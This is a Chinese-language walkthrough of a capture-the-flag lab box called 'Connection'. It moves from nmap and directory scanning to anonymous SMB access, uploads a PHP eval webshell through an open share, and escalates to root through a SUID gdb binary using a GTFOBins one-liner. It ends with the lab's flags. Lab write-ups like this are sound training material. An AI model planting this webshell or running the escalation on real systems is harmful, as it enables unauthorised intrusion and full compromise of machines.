红队专项·Connection
字数 782 2025-08-10 20:57:54
SMB服务渗透与提权实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用nmap进行网络扫描,识别目标主机和开放端口:
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
1.2 详细扫描
对发现的开放端口进行详细扫描:
nmap -sT -sV -sC -A -p22,80,139,445 192.168.56.101
扫描结果分析:
- 22/tcp: OpenSSH 7.9p1 (Debian)
- 80/tcp: Apache httpd 2.4.38 (Debian)
- 139/tcp: Samba smbd 3.X - 4.X
- 445/tcp: Samba smbd 4.9.5-Debian
2. 服务渗透
2.1 SSH服务检查
- 检查常见SSH漏洞:爆破、密钥泄露、私钥可写
- 本案例中无利用条件
2.2 HTTP服务检查
- 目录爆破:
dirsearch -u http://192.168.56.101/
gobuster dir -u http://192.168.56.101/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- Web应用指纹识别:
whatweb http://192.168.56.101/
2.3 SMB服务渗透(突破口)
- 使用enum4linux枚举SMB信息:
enum4linux -A 192.168.56.101
- 检查匿名访问:
smbclient -N -L \\\\192.168.56.101
- 发现可匿名访问的共享目录并浏览:
smbclient \\\\192.168.56.101\\share -N
- 发现SMB支持PUT协议上传文件,尝试上传Webshell:
<?php echo "<pre>" . @eval($_REQUEST['cmd']) . "</pre>"; ?>
- 使用蚁剑连接Webshell获取初始访问权限
3. 权限提升
3.1 查找SUID权限文件
find / -perm -4000 2>/dev/null
3.2 利用GDB进行提权
- 首先稳定shell:
script /dev/null -c bash
# 按Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
- 利用GDB的SUID权限提权:
/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
4. 关键发现与标志
- 用户flag:
3f491443a2a6aa82bc86a3cda8c39617 - root flag:
a7c6ea4931ab86fb54c5400204474a39
5. 参考资源
- HackTricks SMB Pentesting Guide
- GTFOBins提权技术
6. 总结
本案例展示了从SMB服务匿名访问入手,通过文件上传获取Webshell,最终利用SUID权限的GDB进行提权的完整渗透流程。关键点在于:
- 发现SMB匿名访问和PUT上传功能
- 通过文件上传获取初始立足点
- 系统枚举发现SUID提权机会
- 使用GTFOBins技术完成权限提升